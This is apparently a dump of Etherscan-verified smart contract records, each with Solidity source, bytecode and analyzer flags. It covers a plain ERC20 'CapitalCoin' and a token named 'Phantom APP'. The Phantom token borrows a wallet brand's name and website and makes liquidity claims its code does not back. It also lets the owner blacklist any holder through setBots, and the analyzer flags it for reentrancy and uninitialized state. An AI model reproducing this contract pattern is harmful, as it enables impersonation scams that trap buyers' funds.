/** *Submitted for verification at Etherscan.io on 2021-12-07 */ // SPDX-License-Identifier: MIT /** * Phantom.app * Phantom unlocks a simple and secure way to interact with blockchain-based applications directly from your favorite web browser. - 100% lock liquidity - 5% Buy-back - WEB: https://phantom.app/ */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Phantom is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Phantom APP"; string private constant _symbol = "Phantom"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x6A35B6a7ffa5AB7cEdd8df88c59758a2D8A9B16A); _feeAddrWallet2 = payable(0x6A35B6a7ffa5AB7cEdd8df88c59758a2D8A9B16A); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x6A35B6a7ffa5AB7cEdd8df88c59758a2D8A9B16A), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 5; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 5; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100c65760003560e01c806370a082311161007f578063a9059cbb11610059578063a9059cbb14610237578063b515566a14610257578063c3c8cd8014610277578063dd62ed3e1461028c57600080fd5b806370a08231146101bf5780638da5cb5b146101df57806395d89b411461020757600080fd5b806306fdde03146100d2578063095ea7b31461011857806318160ddd1461014857806323b872dd1461016c578063313ce5671461018c5780636fc3eaec146101a857600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201909152600b81526a05068616e746f6d204150560ac1b60208201525b60405161010f9190611240565b60405180910390f35b34801561012457600080fd5b5061013861013336600461114e565b6102d2565b604051901515815260200161010f565b34801561015457600080fd5b50662386f26fc100005b60405190815260200161010f565b34801561017857600080fd5b5061013861018736600461110e565b6102e9565b34801561019857600080fd5b506040516009815260200161010f565b3480156101b457600080fd5b506101bd610352565b005b3480156101cb57600080fd5b5061015e6101da36600461109e565b61037f565b3480156101eb57600080fd5b506000546040516001600160a01b03909116815260200161010f565b34801561021357600080fd5b506040805180820190915260078152665068616e746f6d60c81b6020820152610102565b34801561024357600080fd5b5061013861025236600461114e565b6103a1565b34801561026357600080fd5b506101bd610272366004611179565b6103ae565b34801561028357600080fd5b506101bd610487565b34801561029857600080fd5b5061015e6102a73660046110d6565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006102df3384846104bd565b5060015b92915050565b60006102f68484846105e1565b6103488433610343856040518060600160405280602881526020016113ce602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610943565b6104bd565b5060019392505050565b600c546001600160a01b0316336001600160a01b03161461037257600080fd5b4761037c8161097d565b50565b6001600160a01b0381166000908152600260205260408120546102e390610a02565b60006102df3384846105e1565b6000546001600160a01b0316331461040d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b60005b81518110156104835760016006600084848151811061043f57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061047b81611371565b915050610410565b5050565b600c546001600160a01b0316336001600160a01b0316146104a757600080fd5b60006104b23061037f565b905061037c81610a86565b6001600160a01b03831661051f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610404565b6001600160a01b0382166105805760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610404565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166106455760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610404565b6001600160a01b0382166106a75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610404565b600081116107095760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610404565b6000600a556005600b556107256000546001600160a01b031690565b6001600160a01b0316836001600160a01b03161415801561075457506000546001600160a01b03838116911614155b15610933576001600160a01b03831660009081526006602052604090205460ff1615801561079b57506001600160a01b03821660009081526006602052604090205460ff16155b6107a457600080fd5b600f546001600160a01b0384811691161480156107cf5750600e546001600160a01b03838116911614155b80156107f457506001600160a01b03821660009081526005602052604090205460ff16155b80156108095750600f54600160b01b900460ff165b156108665760105481111561081d57600080fd5b6001600160a01b038216600090815260076020526040902054421161084157600080fd5b61084c42601e611303565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b0383811691161480156108915750600e546001600160a01b03848116911614155b80156108b657506001600160a01b03831660009081526005602052604090205460ff16155b156108c6576000600a556005600b555b60006108d13061037f565b600f54909150600160a01b900460ff161580156108fc5750600f546001600160a01b03858116911614155b80156109115750600f54600160a81b900460ff165b156109315761091f81610a86565b47801561092f5761092f4761097d565b505b505b61093e838383610c2b565b505050565b600081848411156109675760405162461bcd60e51b81526004016104049190611240565b506000610974848661135a565b95945050505050565b600c546001600160a01b03166108fc610997836002610c36565b6040518115909202916000818181858888f193505050501580156109bf573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6109da836002610c36565b6040518115909202916000818181858888f19350505050158015610483573d6000803e3d6000fd5b6000600854821115610a695760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610404565b6000610a73610c78565b9050610a7f8382610c36565b9392505050565b600f805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610adc57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610b3057600080fd5b505afa158015610b44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6891906110ba565b81600181518110610b8957634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e54610baf91309116846104bd565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610be8908590600090869030904290600401611293565b600060405180830381600087803b158015610c0257600080fd5b505af1158015610c16573d6000803e3d6000fd5b5050600f805460ff60a01b1916905550505050565b61093e838383610c9b565b6000610a7f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d92565b6000806000610c85610dc0565b9092509050610c948282610c36565b9250505090565b600080600080600080610cad87610dfe565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610cdf9087610e5b565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610d0e9086610e9d565b6001600160a01b038916600090815260026020526040902055610d3081610efc565b610d3a8483610f46565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610d7f91815260200190565b60405180910390a3505050505050505050565b60008183610db35760405162461bcd60e51b81526004016104049190611240565b506000610974848661131b565b6008546000908190662386f26fc10000610dda8282610c36565b821015610df557505060085492662386f26fc1000092509050565b90939092509050565b6000806000806000806000806000610e1b8a600a54600b54610f6a565b9250925092506000610e2b610c78565b90506000806000610e3e8e878787610fbf565b919e509c509a509598509396509194505050505091939550919395565b6000610a7f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610943565b600080610eaa8385611303565b905083811015610a7f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610404565b6000610f06610c78565b90506000610f14838361100f565b30600090815260026020526040902054909150610f319082610e9d565b30600090815260026020526040902055505050565b600854610f539083610e5b565b600855600954610f639082610e9d565b6009555050565b6000808080610f846064610f7e898961100f565b90610c36565b90506000610f976064610f7e8a8961100f565b90506000610faf82610fa98b86610e5b565b90610e5b565b9992985090965090945050505050565b6000808080610fce888661100f565b90506000610fdc888761100f565b90506000610fea888861100f565b90506000610ffc82610fa98686610e5b565b939b939a50919850919650505050505050565b60008261101e575060006102e3565b600061102a838561133b565b905082611037858361131b565b14610a7f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610404565b8035611099816113b8565b919050565b6000602082840312156110af578081fd5b8135610a7f816113b8565b6000602082840312156110cb578081fd5b8151610a7f816113b8565b600080604083850312156110e8578081fd5b82356110f3816113b8565b91506020830135611103816113b8565b809150509250929050565b600080600060608486031215611122578081fd5b833561112d816113b8565b9250602084013561113d816113b8565b929592945050506040919091013590565b60008060408385031215611160578182fd5b823561116b816113b8565b946020939093013593505050565b6000602080838503121561118b578182fd5b823567ffffffffffffffff808211156111a2578384fd5b818501915085601f8301126111b5578384fd5b8135818111156111c7576111c76113a2565b8060051b604051601f19603f830116810181811085821117156111ec576111ec6113a2565b604052828152858101935084860182860187018a101561120a578788fd5b8795505b838610156112335761121f8161108e565b85526001959095019493860193860161120e565b5098975050505050505050565b6000602080835283518082850152825b8181101561126c57858101830151858201604001528201611250565b8181111561127d5783604083870101525b50601f01601f1916929092016040019392505050565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156112e25784516001600160a01b0316835293830193918301916001016112bd565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156113165761131661138c565b500190565b60008261133657634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156113555761135561138c565b500290565b60008282101561136c5761136c61138c565b500390565b60006000198214156113855761138561138c565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461037c57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220dd9935a6e23c55d55949b786fdd70c4c5ac83bdad8e885b698868f298d3d5b5464736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}]}}
2,710
0x9f29c3b0fe777ba3000bac776279783f81df381b
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract CapitalCoin is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; address private owner1=0x3965eCC4080f8E7dEf70712475939809b131d2Ed; //Paste token owner address here /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor () { _name = 'CapitalCoin'; //Name of token _symbol = 'CCO'; // Symbol of token _totalSupply=5000000 *(10**decimals()); //transfer total supply to owner _balances[owner1]=_totalSupply; emit Transfer(address(0),owner1, _balances[owner1]); } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461012357806370a082311461013657806395d89b4114610149578063a457c2d714610151578063a9059cbb14610164578063dd62ed3e14610177576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100ef57806323b872dd14610101578063313ce56714610114575b600080fd5b6100b66101b0565b6040516100c391906107e5565b60405180910390f35b6100df6100da3660046107bc565b610242565b60405190151581526020016100c3565b6002545b6040519081526020016100c3565b6100df61010f366004610781565b610258565b604051601281526020016100c3565b6100df6101313660046107bc565b61030e565b6100f361014436600461072e565b610345565b6100b6610364565b6100df61015f3660046107bc565b610373565b6100df6101723660046107bc565b61040e565b6100f361018536600461074f565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6060600380546101bf90610867565b80601f01602080910402602001604051908101604052809291908181526020018280546101eb90610867565b80156102385780601f1061020d57610100808354040283529160200191610238565b820191906000526020600020905b81548152906001019060200180831161021b57829003601f168201915b5050505050905090565b600061024f33848461041b565b50600192915050565b600061026584848461053f565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156102ef5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61030385336102fe8685610850565b61041b565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161024f9185906102fe908690610838565b6001600160a01b0381166000908152602081905260409020545b919050565b6060600480546101bf90610867565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156103f55760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016102e6565b61040433856102fe8685610850565b5060019392505050565b600061024f33848461053f565b6001600160a01b03831661047d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016102e6565b6001600160a01b0382166104de5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016102e6565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105a35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016102e6565b6001600160a01b0382166106055760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016102e6565b6001600160a01b0383166000908152602081905260409020548181101561067d5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016102e6565b6106878282610850565b6001600160a01b0380861660009081526020819052604080822093909355908516815290812080548492906106bd908490610838565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161070991815260200190565b60405180910390a350505050565b80356001600160a01b038116811461035f57600080fd5b60006020828403121561073f578081fd5b61074882610717565b9392505050565b60008060408385031215610761578081fd5b61076a83610717565b915061077860208401610717565b90509250929050565b600080600060608486031215610795578081fd5b61079e84610717565b92506107ac60208501610717565b9150604084013590509250925092565b600080604083850312156107ce578182fd5b6107d783610717565b946020939093013593505050565b6000602080835283518082850152825b81811015610811578581018301518582016040015282016107f5565b818111156108225783604083870101525b50601f01601f1916929092016040019392505050565b6000821982111561084b5761084b6108a2565b500190565b600082821015610862576108626108a2565b500390565b600181811c9082168061087b57607f821691505b6020821081141561089c57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea264697066735822122034250617037fee94366867e380d75eb0c7220563137fdceb4a974b931f89aff464736f6c63430008030033
{"success": true, "error": null, "results": {}}
2,711
0xbCAde7BC41CE4E2940128F8C3aE268B7Efe93313
